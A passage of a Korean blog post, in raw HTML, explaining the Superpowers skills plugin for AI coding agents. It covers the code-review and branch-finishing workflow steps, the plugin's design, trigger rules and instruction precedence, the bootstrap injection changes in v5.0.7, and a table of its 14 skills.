&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1016&quot; data-origin-height=&quot;934&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c1pLnp/dJMcahqDAWL/coLJXTmyKClLscOuprNGok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c1pLnp/dJMcahqDAWL/coLJXTmyKClLscOuprNGok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c1pLnp/dJMcahqDAWL/coLJXTmyKClLscOuprNGok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc1pLnp%2FdJMcahqDAWL%2FcoLJXTmyKClLscOuprNGok%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;408&quot; height=&quot;375&quot; data-origin-width=&quot;1016&quot; data-origin-height=&quot;934&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;트리거 조건&lt;/b&gt;: 각 태스크 사이, 주요 기능 완성 후, main 브랜치 머지 전&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/skills/requesting-code-review/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;requesting-code-review/SKILL.md&lt;/a&gt;는 code-reviewer 서브에이전트를 디스패치하여 스펙 준수 검토 &amp;rarr; 코드 품질 검토 2단계로 진행한다. 서브에이전트는 세션 히스토리를 상속받지 않고, 정확히 필요한 컨텍스트만 받아 독립적으로 평가한다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;BASE_SHA=$(git rev-parse HEAD~1)  # 또는 origin/main
HEAD_SHA=$(git rev-parse HEAD)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;심각도별 이슈 분류 후 대응 방침:&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Critical&lt;/b&gt;: 즉시 수정, 다음 태스크 진행 차단&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Important&lt;/b&gt;: 다음 단계 진행 전 수정&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;b&gt;Minor&lt;/b&gt;: 나중에 처리 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 프롬프트&lt;/b&gt;: &quot;인증 태스크 완료 후 코드 리뷰 해줘.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 결과&lt;/b&gt;: 변경된 파일의 diff를 분석해 보안 취약점(예: JWT_SECRET_KEY 하드코딩), 누락된 엣지케이스, 코드 품질 문제를 심각도별로 분류한 리포트를 제공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 작업 내역에 대한 코드 리뷰 요청&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1792&quot; data-origin-height=&quot;1050&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/HAPCD/dJMcaf0CcXZ/XFNJIQUmCaHAHRYF9dxIp1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/HAPCD/dJMcaf0CcXZ/XFNJIQUmCaHAHRYF9dxIp1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/HAPCD/dJMcaf0CcXZ/XFNJIQUmCaHAHRYF9dxIp1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FHAPCD%2FdJMcaf0CcXZ%2FXFNJIQUmCaHAHRYF9dxIp1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1792&quot; height=&quot;1050&quot; data-origin-width=&quot;1792&quot; data-origin-height=&quot;1050&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 수정 요청 및 처리 완료&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1650&quot; data-origin-height=&quot;530&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JS68P/dJMcagFhh3J/WlsvwxdcXoHlEiyxkcz7D1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JS68P/dJMcagFhh3J/WlsvwxdcXoHlEiyxkcz7D1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JS68P/dJMcagFhh3J/WlsvwxdcXoHlEiyxkcz7D1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJS68P%2FdJMcagFhh3J%2FWlsvwxdcXoHlEiyxkcz7D1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1650&quot; height=&quot;530&quot; data-origin-width=&quot;1650&quot; data-origin-height=&quot;530&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Step 7 &amp;mdash; finishing-a-development-branch: 브랜치 마무리&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;922&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5hLQM/dJMcaaSApfC/3enZ2SZKMhSOHhycdiftr0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5hLQM/dJMcaaSApfC/3enZ2SZKMhSOHhycdiftr0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5hLQM/dJMcaaSApfC/3enZ2SZKMhSOHhycdiftr0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5hLQM%2FdJMcaaSApfC%2F3enZ2SZKMhSOHhycdiftr0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;396&quot; height=&quot;418&quot; data-origin-width=&quot;874&quot; data-origin-height=&quot;922&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;트리거 조건&lt;/b&gt;: 구현 완료, 모든 테스트 통과 시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/skills/finishing-a-development-branch/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;finishing-a-development-branch/SKILL.md&lt;/a&gt;는 테스트 검증 후 4가지 옵션을 제시한다. 테스트가 실패하면 &quot;Tests failing (N failures). Must fix before completing&quot; 메시지와 함께 진행을 차단한다.&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;1. Merge back to &amp;lt;base-branch&amp;gt; locally
2. Push and create a Pull Request
3. Keep the branch as-is (I'll handle it later)
4. Discard this work&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심 원칙: 테스트 검증 &amp;rarr; 옵션 제시 &amp;rarr; 선택 실행 &amp;rarr; 정리. 에이전트가 임의로 머지하거나 PR을 생성하지 않고 반드시 사용자의 선택을 기다린다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시 프롬프트&lt;/b&gt;: &quot;인증 기능 구현이 끝났어. 마무리해줘.&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;기대 결과&lt;/b&gt;: 전체 테스트 스위트를 실행하여 통과를 확인한 뒤 위 4가지 옵션을 제시한다. 옵션 2 선택 시 &lt;code&gt;git push&lt;/code&gt;, PR 생성, 워크트리 정리까지 처리한다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 4 --&gt;
&lt;h2 id=&quot;section-4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 기술 아키텍처 분석&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;Shell 기반 제로 의존성 설계&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1994&quot; data-origin-height=&quot;1074&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d7GqJ6/dJMcabDWCaG/m3tjDBaykpmeng2Ox20xl0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d7GqJ6/dJMcabDWCaG/m3tjDBaykpmeng2Ox20xl0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d7GqJ6/dJMcabDWCaG/m3tjDBaykpmeng2Ox20xl0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd7GqJ6%2FdJMcabDWCaG%2Fm3tjDBaykpmeng2Ox20xl0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1994&quot; height=&quot;1074&quot; data-origin-width=&quot;1994&quot; data-origin-height=&quot;1074&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Superpowers에는 외부 의존성이 없다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/CLAUDE.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;CLAUDE.md&lt;/a&gt;는 이 원칙을 명시한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Superpowers is a zero-dependency plugin by design. If your change requires an external tool or service, it belongs in its own plugin.&quot;&lt;br /&gt;(Superpowers는&amp;nbsp;애초에&amp;nbsp;외부&amp;nbsp;의존성을&amp;nbsp;두지&amp;nbsp;않는&amp;nbsp;구조로&amp;nbsp;설계된&amp;nbsp;플러그인입니다.&amp;nbsp;따라서&amp;nbsp;어떤&amp;nbsp;변경&amp;nbsp;작업이&amp;nbsp;외부&amp;nbsp;도구나&amp;nbsp;서비스에&amp;nbsp;의존한다면,&amp;nbsp;그&amp;nbsp;기능은&amp;nbsp;Superpowers&amp;nbsp;안에&amp;nbsp;넣지&amp;nbsp;말고&amp;nbsp;별도의&amp;nbsp;플러그인으로&amp;nbsp;분리해야&amp;nbsp;합니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 환경에도 설치할 수 있고, 버전 충돌도 없다. 스킬 자체가 Shell 스크립트와 Markdown으로만 구성되어 있어 코드 리뷰도 어렵지 않다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;HARD-GATE 패턴과 트리거 메커니즘&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;&amp;lt;HARD-GATE&amp;gt;&lt;/code&gt; 태그로 감싼 지시문은 LLM이 절대 건너뛸 수 없다. 이게 Superpowers의 핵심 구현 방식이다. brainstorming 스킬의 HARD-GATE가 가장 대표적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 스킬은 독립된 디렉토리 안의 SKILL.md 파일로 정의된다.&lt;/p&gt;
&lt;pre class=&quot;reasonml&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;skills/
├── brainstorming/
│   └── SKILL.md
├── writing-plans/
│   └── SKILL.md
├── test-driven-development/
│   └── SKILL.md
└── ... (총 14개 스킬)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/skills/using-superpowers/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;using-superpowers/SKILL.md&lt;/a&gt;는 트리거 임계값을 이렇게 정의한다.&lt;/p&gt;
&lt;pre class=&quot;smali&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;If you think there is even a 1% chance a skill might apply to what you are doing,
you ABSOLUTELY MUST invoke the skill.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1%의 관련성만 있어도 스킬을 호출하라는 강제 규칙이다. 에이전트가 &quot;이건 그냥 넘어가자&quot;는 판단을 할 여지를 원천 차단한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;지시 우선순위&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;지시가 충돌할 때 우선순위는 이렇다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;사용자의 명시적 지시 (CLAUDE.md, GEMINI.md, AGENTS.md, 직접 요청) &amp;mdash; 최우선&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Superpowers 스킬 &amp;mdash; 기본 시스템 동작 재정의&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;기본 시스템 프롬프트 &amp;mdash; 최하위&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자가 원하면 Superpowers의 특정 동작을 자신의 CLAUDE.md로 재정의할 수 있다. Superpowers는 사용자 위에 군림하지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;부트스트랩 메커니즘&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;저자 Jesse Vincent의 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://blog.fsck.com/2025/10/09/superpowers/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;블로그&lt;/a&gt;에 따르면, 부트스트랩은 Claude에게 세 가지를 가르친다.&lt;/p&gt;
&lt;ol style=&quot;margin: 10px 0; padding-left: 25px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&quot;너는 스킬을 가지고 있다. 스킬이 너에게 Superpowers를 부여한다.&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&quot;스크립트를 실행하여 스킬을 검색하고, 스킬을 읽고 그것이 말하는 대로 행동하라.&quot;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&quot;어떤 활동에 스킬이 있다면, 반드시 그 스킬을 사용해야 한다.&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 세 문장이 에이전트의 행동 전환점이다. 시스템 프롬프트로 &quot;부탁&quot;하는 대신, 스킬의 존재와 강제 사용 규칙을 에이전트의 인식 체계에 심는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;v5.0.7 신규 기능&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;v5.0.7(2026-03-31)의 변경 사항 두 가지다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GitHub Copilot CLI 지원 추가&lt;/b&gt;: GitHub Copilot CLI v1.0.11(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/releases/tag/v5.0.7&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;v5.0.7 릴리스 노트&lt;/a&gt;)이 sessionStart hook의 &lt;code&gt;additionalContext&lt;/code&gt; 포맷을 지원하게 됨에 따라, session-start hook이 &lt;code&gt;COPILOT_CLI&lt;/code&gt; 환경변수를 감지하고 SDK 표준 &lt;code&gt;{ 'additionalContext': '...' }&lt;/code&gt; 형식으로 컨텍스트를 주입하도록 업데이트되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OpenCode 호환성 수정&lt;/b&gt;: 부트스트랩 주입 방식을 &lt;code&gt;experimental.chat.system.transform&lt;/code&gt;에서 &lt;code&gt;experimental.chat.messages.transform&lt;/code&gt;으로 변경하여, 첫 user message 앞에 prepend하는 방식으로 전환했다. Qwen 등 여러 시스템 메시지를 허용하지 않는 모델과의 호환성 문제(#894)가 해결되었다.&lt;/p&gt;
&lt;hr style=&quot;border: none; border-top: 1px solid #e0e0e0; margin: 30px 0;&quot; data-ke-style=&quot;style1&quot; /&gt;&lt;!-- 섹션 5 --&gt;
&lt;h2 id=&quot;section-5&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 스킬 라이브러리 전체 목록&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Superpowers는 4개 카테고리, 총 14개 스킬로 구성된다. (&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;README&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;카테고리&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;스킬 이름&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Testing (1)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;test-driven-development&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;RED-GREEN-REFACTOR TDD 사이클 강제&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Debugging (2)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;systematic-debugging&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;루트 원인 조사 &amp;rarr; 패턴 분석 &amp;rarr; 가설 &amp;rarr; 구현 4단계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Debugging&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;verification-before-completion&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;완료 전 검증 체크리스트&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Collaboration (9)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;brainstorming&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;구현 전 설계 강제 (HARD-GATE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Collaboration&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;writing-plans&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;2-5분 단위 bite-sized 플랜 작성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Collaboration&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;executing-plans&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;서브에이전트 미지원 환경용 플랜 실행&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Collaboration&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;dispatching-parallel-agents&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;병렬 에이전트 디스패치&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Collaboration&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;requesting-code-review&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코드 리뷰 요청 자동화&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Collaboration&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;receiving-code-review&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코드 리뷰 수신 및 처리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Collaboration&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;using-git-worktrees&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;격리된 git 워크트리 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Collaboration&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;finishing-a-development-branch&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브랜치 마무리 4옵션 제시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Collaboration&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;subagent-driven-development&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;태스크당 fresh 서브에이전트 + 2단계 리뷰&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Meta (2)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;writing-skills&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;새 스킬 작성 및 테스트 가이드&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Meta&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;using-superpowers&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;스킬 사용 강제 규칙 및 우선순위 정의&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7단계 기본 워크플로우에 포함되지 않은 스킬도 있다. &lt;code&gt;systematic-debugging&lt;/code&gt;은 버그 수정 시, &lt;code&gt;dispatching-parallel-agents&lt;/code&gt;는 병렬 처리 가능한 독립 태스크 분할 시, &lt;code&gt;verification-before-completion&lt;/code&gt;은 완료 선언 전 체크리스트로 각각 트리거된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;스킬 작성 방법 &amp;mdash; writing-skills&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/obra/superpowers/blob/main/skills/writing-skills/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;writing-skills/SKILL.md&lt;/a&gt;는 스킬 작성에 TDD를 적용한다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;TDD 개념&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;스킬 작성&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
